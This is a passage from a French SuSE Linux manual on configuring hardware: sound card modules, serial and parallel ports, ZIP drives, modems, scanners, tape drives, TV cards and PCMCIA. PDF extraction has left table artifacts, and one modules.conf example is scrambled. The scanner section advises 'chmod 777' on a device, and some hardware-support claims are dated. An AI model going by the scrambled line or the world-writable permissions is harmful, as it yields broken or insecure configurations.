pour systèmes son sscape.o Ensoniq SoundScape trix.o MediaTrix AudioTrix Pro uart401.o UART401 uart6850.o UART6850 v_midi.o Sound Blaster DSP chips wavefront.o Turtle Beach Maui, Tropez, Tropez Plus _______________________________________________________________________________________________________________________ Tab. 10.1: Liste des pilotes de cartes son Les cartes Soundblaster PCI 64/128 sont dotées de circuits audio du type Ensoniq ES1370 ou ES1371. 1. Vérifiez, à l'aide de l'inscription portée sur le circuit audio de votre carte son, s'il s'agit d'un circuit de type ES1370 ou ES1371. Intégrez la carte ;-) 2. Modifiez le fichier /etc/modules.conf. Vers la ligne 38, vous trou- vez les entrées suivantes : * *303 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ alias char-major-14 off aliasalsoundiaoffs midi off Modifiez-les de sorte qu'elles deviennent : # alias char-major-14 off # alias sound off # alias midi off C'est vers la ligne 100 que commence la configuration des modules de la carte son. Transformez # alias char-major-14 es1370 en alias char-major-14 es1370 par la suppression du caractère de commentaire. Si vous avec un ES1371 sur votre carte, procédez de manière analogue en utilisant toutefois la prochaine entrée pour le module es1371.o. 3. Démarrez le mélangeur. Une commande lsmod devrait produire l'affichage suivant : ________________________________________________________________________________________________________* *________ | Module Size Used by * * | | * * | | es1370 21748 1 (autoclean) * * | | soundcore 2084 4 (autoclean) [es1370] * * | | ... * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 10.3.1: Sortie de la commande lsmod 4. Si cela ne marche pas tout de suite, essayez encore une fois après avoir lancé depmod -a . 5. Avec kscd, x11amp, ou quelque chose de similaire, essayez d'amener votre machine à émettre un son. Pour cela, vous devez ABSOLUMENT contrôler le réglage du mélan- geur (si tous les canaux sont en mode silencieux, le plus beau pilote son ne sert à rien ;-) Notez que les cartes qui requièrent le module es1370.o ou es1371.o ne sont pas reconnues automatiquement par KDE car ces modules ne sont pas disponibles dans le fichier de périphérique /dev/sndstat. ~ Pour pouvoir malgré tout goûter le plaisir du son sous KDE, vous devrez modifier le fichier /opt/kde/bin/startkde de la manière suivante : Recherchez les lignes startifaudio kaudioserver startifaudio kwmsound et transformez-les en kaudioserver & kwmsound & 304 __________________________________________________________________________________________________________10.3.__Cartes_son_* *______________________ La carte son Creative Soundblaster Live ! est gérée par un pilote spé- cial développé par Creative Labs. Installez le paquetage emu10k1 de la série snd avec YaST . Vous trouverez dans le fichier /usr/doc/ packages/emu10k1/README.SuSE des informations complémentaires sur la marche à suivre pour installer le pilote. Vérifiez si tout a bien marché : Vous avez chargé tous les modules et vous désirez vous assurer qu'il est vraiment possible de produire du son. Lancez à cette fin (après avoir chargé le module son) la commande suivante : terre:/ # cat /dev/sndstat Cela devrait (dans le cas de la SB 16) donner une sortie analogue à celle de l'affichage 10.3.2 _______________________________________________________________________________________________________________________|| |||||||| [...] | |||||||| Audio devices: | |||||||| | |||||||| 0: Sound Blaster 16 (4.13) (DUPLEX) | |||||||| Synth devices: | |||||||| | |||||||| 0: Yamaha OPL3 | |||||||| Midi devices: | |||||||| | |||||||| 0: Sound Blaster 16 | |||||||| Timers: | |||||||| | |||||||| 0: System clock | |||||||| Mixers: | |||||||| 0: Sound Blaster | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 10.3.2: Sortie de la commande cat /dev/sndstat Si cette commande provoque un affichage tel que celui que nous avons donné en exemple, vous pouvez essayer de jouer un fichier audio (vous trouverez de tels fichiers par exemple dans le paquetage snd_au, le paquetage snd_wav et le paquetage snd_mod de la série snd). Il vous faut pour cela le paquetage sox de la série snd : terre:/ # play /usr/share/sounds/wav/applause.wav terre:/ # tracker /usr/share/sounds/mod/rebels.mod Vous pouvez très aisément, avec le programme KDE kmid , jouer des fichiers Midi si votre carte offre le support nécessaire. Si cat /dev/sndstat provoque l'affichage que vous souhaitez et si play mysong.wav revient sans message d'erreur alors que vous n'entendez toujours rien, essayez de démarrer le mélangeur audio dans le tableau de bord de KDE. Il se peut aussi que le volume du son soit tout simplement mal réglé. Chargement automatique des modules du noyau Lorsque vous vous êtes assuré que votre carte est complètement suppor- tée par les pilotes dont vous disposez, vous pouvez charger automatique- ment les modules correspondants en faisant les entrées nécessaires dans le fichier /etc/modules.conf. Pour la Soundblaster 16, ces entrées seront semblables à celles du fichier 10.3.1 page suivante. * * 305 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | # alias char-major-14 off * * | | * * | | # alias sound off * * | | # alias midi off * * | | * * | | * * | | alias char-major-14 sb * * | | post-install sb /sbin/modprobe "-k" "adlib_card" * * | | * * | | options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330 * * | | options adlib_card io=0x0388 # FM synthesizer * * | |_______________________________________________________________________________________________________* *________ | fichier 10.3.1: /etc/modules.conf : Options pour modules son Il n'existe naturellement pas de règle générale permettant de déterminer quelle carte son possède quelle fonctionnalité. Vous devez, à l'aide de la do- cumentation de la carte ainsi que des informations contenues dans /usr/ src/linux/Documentation/sound, découvrir vous-même quels modules il convient de charger dans chaque cas. Vous pouvez aussi trouver de nom- breuses informations dans les fichiers sources des pilotes sous /usr/src/ linux/drivers/sound. Mais il existe déjà dans le fichier /etc/modules. conf quelques entrées prédéfinies que vous pouvez modifier en conséquence. Au lieu de charger les modules à travers le fichier /etc/modules.conf, vous pouvez aussi les charger par l'insertion des commandes modprobe men- tionnées ci-dessus dans le fichier /sbin/init.d/boot.local (voir para- graphe 17.4 page 448 et pages suivantes). 10.4 Interfaces de la machine 10.4.1 Ports PS/2 Les ports PS/2 ont été développés par IBM pour les systèmes PS/2. Au cours de ces dernières années, ces ports se sont de plus en plus répandus grâce au standard ATX. Vous pouvez relier une souris ou un clavier aux ports PS/2 de votre machine. La configuration des ports PS/2 n'est pas indispensable sous Linux du fait que le support pour PS/2 est intégré dans le noyau. Le système reconnaît donc automatiquement les ports PS/2 présents et peut utiliser les périphériques qui y sont rattachés. Les ports sont représentés dans le système par les fichiers de périphériques /dev/kbd et /dev/psaux. 10.4.2 Ports série Les ports série (RS232) de votre machine sont souvent utilisés pour les mo- dems externes. Vous pouvez aussi faire fonctionner des souris avec une inter- face RS232 sur ces ports. Sous Linux, le support des interfaces requiert le module du noyau serial.o. Ce module est chargé automatiquement lorsque vous essayez, à l'aide de logiciels adéquats, d'accéder à des périphériques reliés à ces ports. Si vous avez par exemple configuré votre accès Internet en vue d'utiliser un modem sur COM1 , le module sera automatiquement chargé avant l'établissement de la connexion avec le fournisseur d'accès. 306 _____________________________________________________________________________________10.4.__Interfaces_de_la_machine________* *______________________ Vous pouvez modifier la configuration de vos interfaces séries avec le pe- tit programme setserial . Ce programme sera aussi exécuté à chaque démar- rage du système par le script /sbin/init.d. Vous trouverez des informa- tions complémentaires sur setserial dans les pages de man concernant ce pro- gramme. Il est accédé aux ports série à travers les fichiers de périphériques /dev/ttyS0, /dev/ttyS1, et suivants 10.4.3 Ports parallèles Le port parallèle de votre machine est principalement utilisé pour le raccor- dement des imprimantes. Mais vous pouvez aussi vous en servir pour les lec- teurs ZIP externes ainsi que pour les lecteurs de CD. Le sous-système ``Parport'' du noyau Linux actuel 2.2.xx a été conçu pour permettre d'utiliser simultanément plusieurs périphériques sur un même port parallèle.1 Citons comme exemple d'application la connexion sur port paral- lèle d'un lecteur ZIP auquel une imprimante est rattachée. Initialiser parport Un noyau avec support parport et parport_pc vous est nécessaire.2 Ici, parport est le sous-système proprement dit du noyau alors que parport_pc se charge de l'intégration au niveau matériel du port du PC ainsi que de quelques machines AXP. Avec la commande terre: # modprobe parport_pc vous pouvez insérer manuellement les modules. Assurez-vous, en lançant la commande lsmod , que le port a été détecté et a pu ensuite être configuré. Il devrait alors apparaître dans la liste des modules parport et parport_pc . Consultez aussi le fichier /var/log/messages pour savoir avec quelles va- leurs parport a été initialisé (voir fichier 10.4.1). _______________________________________________________________________________________________________________________|| |||||||| Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 [SPP, | |||||||| ECP] | ||||||||_______________________________________________________________________________________________________________ | fichier 10.4.1: /var/log/messages : Initialisation de parport Les entrées du fichier 10.4.2 sont utilisées pour la configuration du port. L'en- trée placée en commentaire vous indique comment ajouter un port parallèle. _______________________________________________________________________________________________________________________|| |||||||| alias parport_lowlevel parport_pc | |||||||| options parport_pc io=0x378 irq=none | |||||||| | |||||||| | |||||||| # If you have multiple parallel ports, specify them this way: | |||||||| # options parport_pc io=0x378,0x278 irq=none,none | ||||||||_______________________________________________________________________________________________________________ | fichier 10.4.2: /etc/modules.conf : parport -Konfiguration 1 ____________________________________________________ Le ``vieux'' noyau 2.0.xx ne permet d'utiliser qu'un seul et unique périphérique sur un port parallèle et les connexions ``en chaîne'' ne sont en général pas non plus possibles ! 2 Vous n'avez pas besoin de compiler votre propre noyau, les modules nécessaires étant fournis précompilés avec SuSE Linux ! * * 307 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | En cas de difficultés, contrôlez d'abord dans le BIOS de la machine com- * * |||| || ment est paramétrée l'interface en question. Il devrait lui être explicitement * * |||| | assigné une adresse (si possible 0x378 ) et elle devrait aussi avoir sa propre * * |||| | * * ||| | interruption. D'éventuelles ``auto''-configurations sont à éviter. * * ||| |_______________________________________________________________________________________________________* *________|||_ Parfois il est aussi nécessaire d'activer les périphériques dans un ordre précis. Consultez à ce sujet les manuels d'accompagnement ! Il s'est avéré efficace d'activer d'abord la machine et immédiatement après ~ avant que l'amorçage ne commence ~ les périphériques externes ! Utiliser parport : Imprimante, lecteurs ZIP, PLIP etc. Si vous voulez utiliser un périphérique sur port parallèle, vous devez tout d'abord charger le module approprié. Dans le cas d'une imprimante, il s'agit du module lp : terre: # modprobe lp Et lsmod devrait afficher, entre autre : ________________________________________________________________________________________________________* *________ | parport_pc 5568 1 (autoclean) * * | | * * | | parport 6884 1 [parport_pc lp] * * | | lp 5116 0 (unused) * * | |_______________________________________________________________________________________________________* *________ | Ce qui suit est aussi valable dans ce cas : Les entrées dans le fichier /var/ log/messages ainsi que dans le système de fichiers proc sous /proc/ parport fournissent des informations précises. Si tout marche bien vous n'aurez plus besoin de charger manuellement les modules ~ ceci sera effectué automatiquement par Kmod (voir paragraphe 13.2 page 361) par exemple lorsqu'une requête d'impression sera envoyée. Les lecteurs ZIP sont gérés soit par ppa , soit par imm ~ voir plus bas paragraphe 10.5.3 page ci-contre. Remarques complémentaires Voyez, dans les sources du noyau, les fichiers parport.txt et paride.txt du répertoire /usr/src/linux/Documentation. Vous pouvez obtenir des informations sur l'état actuel de la programma- tion de parport sous l'URL http://www.torque.net/linux-pp.html ou http://www.torque.net/parport/ 10.4.4 USB ~ Universal Serial Bus L' Universal Serial Bus constitue l'une des plus importantes innovations qui ont eu lieu sur le marché des PC au cours de ces dernières années. À l'aide de ce système de bus, vous pouvez raccorder de façon simple à votre machine un très grand nombre de périphériques divers tels que par exemple souris, cla- vier, imprimante et aussi scanner. Chacun de ces périphériques dispose de la même douille et il est raccordé à l'ordinateur par le même câble. Ceci rend su- perflus les nombreux câbles tels que RS232 ou Centronics encore nécessaires actuellement. Le bus est également en mesure de signaler au système en cours 308 ____________________________________________________________________________________________10.5.__Supports_amovibles_______* *______________________ de fonctionnement la présence ou l'absence de périphériques. Il est ainsi pos- sible, par exemple, de connecter ou de déconnecter l'imprimante sans avoir à redémarrer la machine. Sous Linux, le support de ce système de bus n'est malheureusement pas en- core complet. Il ne vous sera donc pas encore possible d'utiliser sous Li- nux des périphériques raccordés par ce bus. Vous trouverez plus d'infor- mations sur l'implémentation de USB sous Linux à l'URL http://www. linux-usb.org/. 10.5 Supports amovibles Sous Linux, les plus divers supports amovibles peuvent être utilisés : lecteurs de disquettes, lecteurs ZIP, lecteurs JAZ ou lecteurs SyQuest ainsi que les lecteurs magnéto-optiques. 10.5.1 Lecteurs de disquettes Les utilitaires du paquetage mtools ont été développés pour permettre un ac- cès simple aux disquettes formatées MS-DOS. Le paragraphe 19.12 page 501 vous informe sur les possibilités de ces programmes et sur leur utilisation. Vous pouvez bien entendu aussi traiter des disquettes formatées ext2 ou minix . De nombreux autres systèmes de fichiers peuvent aussi être utilisés. Vous devez pour cela les rattacher au système de fichiers avec la commande mount . Lisez le paragraphe 19.11 page 499 pour plus de détails. 10.5.2 Lecteurs LS 120 Les lecteurs LS 120 sont raccordés au port IDE de la machine et le système les considère comme étant des disques durs. Ils doivent donc être aussi rattachés au système de fichiers à l'aide de la commande mount . 10.5.3 Lecteurs ZIP Il existe des lecteurs ZIP pour différents types de ports : port parallèle, IDE, SCSI et maintenant aussi USB (ce dernier n'est pas encore supporté). Pour les lecteurs IDE et SCSI, vous n'avez pas besoin de pilotes particuliers. Ces variantes sont raccordées au bus correspondant et les pilotes (IDE ou SCSI) qui les gèrent peuvent y accéder. On accède aux périphériques par les fichiers de périphériques /dev/hda - /dev/hdd pour IDE (ATAPI) et /dev/sda - /dev/sdm pour SCSI Vous devez, toujours à l'aide de la commande mount , rattacher le lecteur au système de fichiers. L'intégration de la version port parallèle est un peu plus compliquée. Elle requiert un support de disques durs SCSI, un support pour parport et * * 309 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ parport_pc (voir paragraphe 10.4.3 page 307) ainsi que le pilote ppa ou le pilote imm du noyau3 . Le pilote imm gère les lecteurs les plus récents, tels que par exemple le ZIP 250. Vous devez en outre vous assurer que le mode du port parallèle est fixé à EPP dans le BIOS de la machine. Tentez donc tout d'abord de charger imm : terre: # modprobe imm En cas d'échec, recommencez avec ppa : terre: # modprobe ppa Le sous-système parport devrait ainsi être initialisé automatiquement. Si cela n'a pas fonctionné, reportez-vous à la page 307. Parfois une entrée dans le fichier /etc/modules.conf peut aider à ré- soudre le problème (voir fichier 10.5.1). L'alias pour scsi_hostadapter ne doit être utilisé que si vous n'avez pas d'adaptateur hôte SCSI régu- lier dans votre système ! Comme alternative, vous avez aussi la possibilité d'insérer les commandes modprobe nécessaires dans le script de démar- rage /sbin/init.d/boot.local. Pour ce fichier, voir le paragraphe 17.4 page 448 et pages suivantes. ________________________________________________________________________________________________________* *________|| | # alias scsi_hostadapter ppa * * | | pre-install ppa modprobe "-k" parport_pc * * | |_______________________________________________________________________________________________________* *________ | fichier 10.5.1: /etc/modules.conf : ppa -Konfiguration On peut alors accéder aux disquettes ZIP comme aux disques SCSI et il est donc nécessaire de ``monter'' ces supports (voir aussi le paragraphe 19.11.2 page 500) . 10.6 Modems 10.6.1 Modems externes Les modems externes sont directement raccordés au port série de la machine. Les programmes peuvent communiquer avec le modem à travers les fichiers de périphériques /dev/ttyS0, /dev/ttyS1 et suivants. La configuration du modem pour un accès Internet est décrite au paragraphe 6.5 page 190. 10.6.2 Modems internes Les modems internes sont reliés soit au bus PCI, soit au bus ISA de la ma- chine. Vous trouverez à ce sujet des informations complémentaires au para- graphe 10.2 page 293. Les modems étant pilotés par le biais de ports série, les modems internes doivent fournir eux-même ce port. Le tableau 10.2 page ci-contre vous donne un aperçu des ressources standards pour ports série. _____________________________________________3 Le pilote ppa et le pilote imm se cachent parmi les ``pilotes SCSI de bas niveau'' ~ Vous n'avez toutefois pas besoin de compiler votre propre noyau. Les modules nécessaires sont fournis précompilés avec SuSE Linux ! 310 _____________________________________________________________________________________________________________10.6.__Modems__* *______________________ ____________________________________________________________________________________________________________________________* *______ ||||||||__Fichier_de_périphérique__|_Nom___|_____Interruption__|_________Adresse_d'E/S______________________________|_______* *_______ ||||||||__/dev/ttyS0_________________COM|1____|__4____________________|__0x3f8______________________________________|_______* *______ ||||||||__/dev/ttyS1_________________COM|2____|__3____________________|__0x2f8______________________________________|_______* *______ ||||||||__/dev/ttyS2_________________COM|3____|__4____________________|__0x3e8______________________________________|_______* *______ ||||||||__/dev/ttyS3_________________COM|4____|__3____________________|__0x2e8______________________________________|_______* *______ Tab. 10.2: Ressources standards pour ports série Modems PCI Si vous possédez un modem PCI, il s'agit probablement de ce que l'on ap- pelle un ``Winmodem''. Les Winmodems ne sont pas vraiment des modems. Ils utilisent un pilote spécial qui émule un modem normal. Ce pilote est fourni par le conctructeur du modem et il n'est malheureusement disponible actuel- lement que pour Microsoft Windows. Vous trouverez des informations plus détaillés sur les Winmodems et leur sup- port pour Linux sous l'URL http://www.o2.net/~gromitkc/winmodem. html.L Modems ISA Pour la mise en oeuvre de modems ISA, deux phases sont nécessaires : ~ Le modem lui-même doit être configuré (IRQ et adresse d'E/S du port). ~ Le noyau doit connaître le nouveau port. Initialisation du modem Ainsi qu'il a déjà été décrit au paragraphe 10.2 page 293, les cartes bus ISA peuvent être des cartes Legacy, Jumperless ou PnP. Dans ce paragraphe, il est également décrit comment sont activées les cartes PnP. Quelques informations sur la configuration de la carte : La configuration de la carte sur /dev/ttyS1 avec l'IRQ 3 (COM2 ) est la moins problématique. Il est également possible d'utiliser /dev/ttyS3 (IRQ 4) mais il peut survenir des conflits avec /dev/ttyS0 (COM1 ) car ce port utilise aussi l'IRQ 4. Si vous avez une souris série (sur COM1 ), vous ne devez donc pas configurer le modem sur /dev/ttyS0 ou /dev/ttyS2. Les IRQ 5 et 7 sont aussi à éviter car ils sont souvent utilisés par les cartes son et les ports d'imprimantes. Si vous utilisez votre carte son PnP avec OSS, faites en sorte que la carte ne soit pas activée dans le fichier /etc/isapnp.conf (ACT Y doit être placée en commentaire). Transmission de paramètres au noyau Lorsque le modem a été configuré, le noyau doit avoir des informations sur le nouveau port. Si vous avez configuré votre modem sur /dev/ttyS0 ou /dev/ttyS1, vous n'aurez aucune modification à faire. Après le prochain redémarrage du système, les ports seront automatiquement configurés. * * 311 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ Si vous utilisez d'autres combinaisons de port d'E/S et d'IRQ, vous devez faire connaître le port à l'aide de la commande setserial : terre:/ # setserial /dev/ttyS3 irq 10 Vous pourrez ensuite ~ ainsi qu'il est décrit au paragraphe 6.5 page 190 ~ configurer le modem pour l'accès Internet. Pour automatiser la configuration à l'aide de la commande setserial , vous pouvez modifier le fichier /sbin/init.d/serial. Pour que notre configuration exemple soit automatisée, le fichier doit être modifié comme suit : La ligne # run_setserial /dev/ttyS3 $AUTO_IRQ autoconfig est modifiée pour devenir run_setserial /dev/ttyS3 irq 10 10.7 Scanners Pour utiliser un scanner sous Linux, il vous faut ~ comme sous d'autres sys- tèmes d'exploitation ~ un ensemble de programmes et de pilotes spéciaux. Le paquetage sane (série gra) constitue un tel ensemble en combinaison avec le paquetage scsiinfo (série ap). À l'aide de SANE , vous pouvez utiliser un scanner raccordé à l'un des adaptateurs SCSI supportés par le noyau Linux. Les scanners reliés au port parallèle (port imprimante) de la machine ne sont pas encore supportés bien que des pilotes soient déjà en cours de développe- ment. Ceci est également valable pour les scanners USB. Comme il est continuellement apporté des extensions à SANE, le nombre de scanners supportés s'accroît constamment. Une liste des plus récentes ver- sions de scanners supportés se trouve sous l'URL http://www.mostang. com/sane/sane-backends.html. Comment configurer le pilote de scanner sous Linux ? Sous Linux, on accède aux scanners comme à des ``périphériques génériques SCSI'', c'est-à-dire en passant par les fichiers de périphériques /dev/sg0 jusqu'à /dev/sg . Pour trouver dans votre système le fichier approprié, vous devriez avoir re- cours au petit programme sgcheck : terre: # sgcheck Vous devriez obtenir quelque chose de ce genre : Assignment of generic SCSI devices, device host/channel/ID/LUN type(numeric type) vendor model: /dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N /dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X /dev/sg2 0/0/5/0 Processor(3) HP C2500A On peut reconnaître les scanners à la dénomination des périphériques telles que processeur ou aussi SCANNER . ~ Dans l'exemple ci-dessus, votre scan- ner est accessible à travers le fichier de périphérique /dev/sg2. 312 __________________________________________________________________10.8.__Lecteurs_de_bandes_(angl._streamers)_______________* *______________________ Créez un lien symbolique pointant de ce périphérique sur /dev/scanner : terre:/ # ln -s /dev/sg2 /dev/scanner Ensuite, vous devez encore modifier en conséquence les droits pour le péri- phérique SCSI générique. SANE attend, outre des droits de lecture, aussi des droits d'écriture sur le phériphérique car il doit envoyer des commandes au scanner : terre:/ # chmod 777 /dev/sg2 Problèmes Dans le cas où votre scanner ne serait pas détecté par SANE, vérifiez s'il a été détecté par votre contrôleur SCSI : terre:/ # cat /proc/scsi/scsi La sortie devrait avoir à peu près cet aspect : Attached devices: Host: scsi0 Channel: 00 Id: 00 Lun: 00 Vendor: SEAGATE Model: ST32550N Rev: 0016 Type: Direct Access ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 01 Lun: 00 Vendor: PIONEER Model: CD-ROM DR-U10X Rev: 1.07 Type: CD-ROM ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 02 Lun: 00 Vendor: QUANTUM Model: FIREBALL TM3200S Rev: 1.07 Type: Direct-Access ANSI SCSI revision: 02 Host: scsi0 Channel: 00 Id: 06 Lun: 00 Vendor: SCANNER Model: Rev: 2.00 Type: Scanner ANSI SCSI revision: 01 CCS Au cas où vous ne trouveriez pas ici d'entrée telle que ``SCANNER'' ou ``PROCESSOR'', cela signifie que le scanner n'a pas été reconnu par le contrôleur. Vérifiez si le scanner est en fonction et si la terminaison du bus SCSI est correcte. 10.8 Lecteurs de bandes (angl. streamers) Les lecteurs de bandes appelés aussi streamers sont utilisés principalement pour la sauvegarde de grandes quantités de données. Il existe sur le marché des lecteurs de bandes avec différentes interfaces vers la machine. Lecteurs de bandes SCSI Les plus connus sont probablement les lecteurs raccordés directement au bus SCSI. Vous pouvez partir du principe que tous les lecteurs de bandes reliés à un adaptateur SCSI supporté par Linux peuvent être utilisés. Si votre lecteur de bandes est doté de fonctions peu communes (par exemple échange de bande), il vous faudra très souvent des logiciels spéciaux pour pouvoir tirer parti de ces fonctions. Voici comment on peut accéder au lecteur de bandes SCSI : * * 313 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ ~ On accède au premier lecteur de bandes dans le système à travers les fi- chiers de périphériques /dev/st0 et /dev/nst0, au deuxième par /dev/ st1 et /dev/nst1 et ainsi de suite. /dev/stX représente un lecteur qui après chaque action rembobine la bande. /dev/nstX référence par contre un lecteur qui laisse constamment la bande dans la position actuelle. Nous vous recommandons d'utiliser /dev/nstX car la commande mt permet de piloter le lecteur de façon précise. ~ Utilisez par conséquent la commande mt pour envoyer au lecteur des instructions pour le contrôle de la bande. terre:/ # mt -f /dev/nst0 retension Retend la bande en la rembobinant du début à la fin. terre:/ # mt -f /dev/nst0 rewind Rembobine la bande à son début. Vous pouvez ainsi ajouter de nouvelles données sur une bande dont une partie contient déjà des enregistrements. terre:/ # mt -f /dev/nst0 eom Rembobine la bande derrière le dernier jeu de données. Vous pouvez ainsi ajouter de nouvelles données sur une bande dont une partie contient déjà des enregistrements. terre:/ # mt -f /dev/nst0 erase Efface la bande dans le lecteur. Attention ! Toutes les données contenues sur la bande sont perdues. Lecteurs de bandes IDE Les lecteurs de bandes IDE sont raccordés au bus IDE de la machine. Le lecteur est reconnu automatiquement par Linux et vous pouvez alors l'utiliser à travers les fichiers de périphériques /dev/ht0 ou /dev/nht0. Utilisez la commande mt ainsi qu'il est décrit au paragraphe 10.8 page pré- cédente Lecteurs de bandes raccordés au contrôleur de disquettes Ces lecteurs de bandes sont simplement raccordés au contrôleur de disquettes dont dispose chaque machine. Comme l'accès à ces périphériques requiert une coordination temporelle très précise, il survient souvent des problèmes lors de la sauvegarde des données. Pour utiliser ces lecteurs sous Linux, il faut un pilote spécial ftape . Ce pilote est déjà fourni avec le noyau. Vous trouverez plus de détails sur la configu- ration de ces périphériques dans la documentation sous /usr/src/linux/ Documentation/ftape.txt. La documentation concernant le sous-système ftape se trouve dans la page personnelle du développeur : http://www.math1.rwth-aachen.de/~heine/ftape/. 10.9 Cartes TV Sous Linux, il est possible depuis déjà un certain temps de regarder la télé- vision sous une interface graphique (le système X Window) à l'aide d'une carte TV. Ceci est réalisable grâce à toute une série de modules du noyau et de programmes appropriés. 314 __________________________________________________________________________________________________________10.9.__Cartes_TV__* *______________________ Quelles sont les cartes supportées ? Par principe, le support dépend du circuit utilisé sur la carte. Au cours de ces dernières années, les circuits d'acquisition vidéo de la société Brooktree se sont établis. Sous Linux, on peut utiliser les cartes dotées des circuits BT848 et ``BT878''. Bien que le support pour BT878 ne soit pas encore complet, on peut déjà le considérer comme stable. Citons comme exemples pour de telles cartes Hauppauge WIN/TV et Miro PC/TV . Comment le support est-il activé ? ~ Connectez-vous à votre système comme utilisateur `root'. ~ Installez tout d'abord le paquetage bttv de la série gra avec YaST . ~ Passez dans le répertoire /usr/doc/packages/bttv/tools et lancez le programme update : terre:/ # cd /usr/doc/packages/bttv/tools terre:/usr/doc/packages/bttv/tools # ./update Ce script prépare votre système pour l'utilisation de cartes TV. Il détecte la carte TV présente dans votre système, ajoute les entrées correspondantes dans le fichier /etc/modules.conf. et intègre les modules nécessaires dans le système. En cas de problème avec la carte TV, vous devriez commencer par lire la do- cumentation contenue dans le répertoire /usr/doc/packages/bttv/doc. Vous trouverez en outre quelques articles dans notre base de données support sur Internet : http://sdb.suse.de (mot-clé : tv ). * * 315 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ 316 Chapitre 11 Notebooks ~ PCMCIA, APM, IrDA Les notebooks doivent répondre à des exigences particulières. On s'attend, entre autre, à ce qu'ils soient dotés de composants tels que ``Advanced Power Management'' (APM), interface infrarouge (IrDA) et cartes PC (PCMCIA). Ces composants se rencontrent parfois aussi dans les ordinateurs de bureau et ils ne présentent pas beaucoup de différence avec ceux utilisés dans les notebooks ~ c'est pourquoi nous allons décrire globalement dans ce chapitre leur mise en oeuvre et leur configuration. Ceux qui sont intéressés par les expériences déjà faites avec certains no- tebooks devraient absolument visiter la ``Linux Laptop Homepage'' sous http://www.cs.utexas.edu/users/kharker/linux-laptop. Une autre source d'informations intéressante est la page Web ``LiLAC'' sous http://home.snafu.de/wehe/index_li.html. On y trouve aussi bien un Laptop-Howto qu'un IrDA-Howto. 11.1 PCMCIA 11.1.1 Le matériel PCMCIA est l'acronyme de ``Personal Computer Memory Card International Association''. Cet acronyme est couramment employé comme dénomination collective pour tous les composants matériels et logiciels en rapport avec ce standard. Le composant principal est la carte PCMCIA dont on distingue deux types : Cartes PC : Ce sont les cartes que l'on rencontre aujourd'hui le plus fré- quemment. Elles utilisent un bus d'une largeur de 16 bits pour le transfert des données et sont en général assez avantageuses. Pour un très grand nombre de ces cartes, il existe un support stable et sans problème. Cartes CardBus : Il s'agit d'un standard assez récent. Ces cartes utilisent un bus d'une largeur de 32 bits et sont ainsi plus rapides mais aussi plus coûteuses. Comme le taux de transfert des données est par ailleurs sou- vent limité, il ne vaut généralement pas la peine de faire cette dépense. Il existe maintenant pour ces cartes un grand nombre de pilotes mais cer- tains d'entre eux sont encore instables ~ ceci dépend aussi du contrô- leur PCMCIA utilisé. La carte insérée peut être identifiée par la commande cardctl ident . Vous trouverez une liste des cartes supportées dans SUPPORTED_CARDS de /usr/ * * 317 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ doc/packages/pcmcia. Vous y trouverez également la version actuelle du PCMCIA-HOWTO. Le deuxième composant indispensable est le contrôleur PCMCIA mais peut aussi être le pont PC-Card/CardBus. Celui-ci relie la carte au bus PCI et, dans les périphériques plus anciens, au bus ISA. Ces contrôleurs sont presque tou- jours compatibles avec les circuits i82365 d'Intel et tous les modèles cou- rants sont supportés. Le type du contrôleur peut être identifié avec la com- mande probe . Dans le cas d'un périphérique PCI, la commande lspci -vt fournit aussi d'intéressantes informations. 11.1.2 Les logiciels Tous les pilotes et programmes nécessaires se trouvent, pour autant qu'ils ne soient pas déjà intégrés dans le noyau, dans le paquetage PCMCIA, série a1. La base est constituée par les modules pcmcia_core, i82365 (ou, rarement, tcic) et ds. Ces modules sont normalement démarrés automatiquement lors de l'amorçage. Ils initialisent les contrôleurs PCMCIA présents et mettent à disposition des fonctions de base. Comme les cartes PCMCIA peuvent être changées en cours de fonctionne- ment du système, il doit exister un + démon qui contrôle les activités dans les emplacements d'enfichage. Cette tâche est assumée par le gestionnaire de périphériques (cardmgr ) qui est lancé automatiquement après le chargement des modules de base. Lorsqu'une carte est insérée, le gestionnaire de péri- phériques identifie son type et sa fonction et charge les modules adéquats. Avec lsmod , on peut voir quels modules ont été chargés. Lorsque tous les modules ont été chargés avec succès, le gestionnaire de périphériques lance, dépendamment de la fonction de la carte, certains scripts d'initialisation qui, de leur côté, établissent par exemple la connexion réseau ou montent des par- titions de disques SCSI externes. Lorsque la carte est retirée, le gestionnaire de périphériques termine, à l'aide des mêmes scripts, les diverses activités de la carte. Ensuite, les modules qui ne sont maintenant plus nécessaires sont déchargés. Théoriquement, la carte peut être retirée purement et simplement. Ce procédé fonctionne parfaitement aussi pour les cartes réseau, les cartes modem ou les cartes ISDN, tant qu'il n'existe plus de connexions réseau actives. Mais il ne fonctionne pas en relation avec les partitions montées d'un disque externe ou avec des répertoires NFS. On doit ici faire en sorte que les unités soient démontées de manière synchronisée et correcte, ce qui n'est évidemment plus possible lorsque la carte a déjà été retirée. En cas de doute, il est utile de taper terre: # cardctl eject Cette commande désactive les cartes aussi longtemps qu'elles se trouvent encore dans le notebook. 11.1.3 Configuration Après installation du paquetage PCMCIA, on trouve quatre variables PCMCIA dans /etc/rc.config. La variable START_PCMCIA détermine si le service doit être démarré lors de l'amorçage. Il peut toujours être dé- marré manuellement par la commande rcpcmcia start même lorsque 318 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ START_PCMCIA a été positionnée à no . La variable 